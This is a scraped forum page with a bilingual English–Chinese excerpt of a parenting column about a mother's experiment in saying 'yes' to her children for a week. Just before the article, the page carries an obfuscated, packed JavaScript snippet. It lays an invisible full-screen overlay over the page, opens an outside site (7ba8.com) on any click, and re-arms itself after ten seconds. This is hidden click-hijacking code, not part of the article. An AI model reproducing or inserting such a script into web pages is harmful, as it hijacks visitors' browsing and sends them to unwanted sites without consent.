如果一直对孩子说“Yes”效果会怎样

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Like most children, my own brood
  complains constantly about my style of parenting. "You’re always saying 'No'," they complain, as I tell them they can’t have yet more mayonnaise on their dinner。像大多数孩子们一样,我自己的孩子也一直抱怨我对他们的养育方式。晚饭时当我告诉他们不能再吃蛋黄酱的时侯,他们抱怨说"你总是说'不'。"
  "It’s bad for you," I say. "So, no, you can’t."我说:"再吃对你们的健康不好,不,你们不能再吃了。"
  "You say no to everything,"says Leonard, aged eight。八岁的Leonard说:"你对任何事情都说不。"
  He and his younger siblings
  — Jerry, six, and Ottoline, three — then list everything I have said ‘No’ to since they got home from school. Sweets, playing outside with their uniform on, biscuits, getting stuff out from drawer, painting?…他和弟弟妹妹们——6岁的Jerry和3岁的Ottoline列了一张清单,上面写着他们从学校回家后我说的所有的"不"。糖果、在外面穿着校服玩、饼干、从抽屉里拿东西、画画……
  I’ve always considered myself a pretty easy-going parent, and yet here they are telling me I’m a nay-saying harridan。我一直认为我是一个脾气很好的妈妈,但是他们竟然说我是一个总说"不"的老巫婆。
  According to the currently fashionable idea of ‘free parenting’, though, what I should be saying is ‘Yes’。然而根据最近流行的"亲子养育"观点,我应该说"是"。
  It’s particularly
  interesting to me because I recently decided to try an experiment. In the style of ‘free parenting’, I would say yes to everything my children wanted for an entire week — and see what happened。因为最近我想做一个实验,所以这就对我来说特别有趣。根据"亲子养育"的方式,在整整一个星期内,我要对我的孩子的要求通通说"是",然后看看效果如何。
  The only rules were not to let the children know what I’d decided to do, and to ensure that I alerted them to the consequences of their actions, so they could make their own well-informed choices。唯一的规则是不让孩子知道我在做什么,并且确保已经对他们的行为做出了提醒,然后让他们做出自己的选择。
  But what if they wanted to swing on the curtains and to paint the walls red? What if my teenage son, 14-year-old Raymond, wanted to bring girls home every night and smoke? What would I say then?但是如果他们想要在窗帘上"荡秋千",或者想要把墙全涂成红色呢?倘若我14岁的儿子Raymond晚上想要带女孩子们回家或者吸烟呢?那么我该说什么呢?
  There was only one way to find out?…只有一种方法可以知道……
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部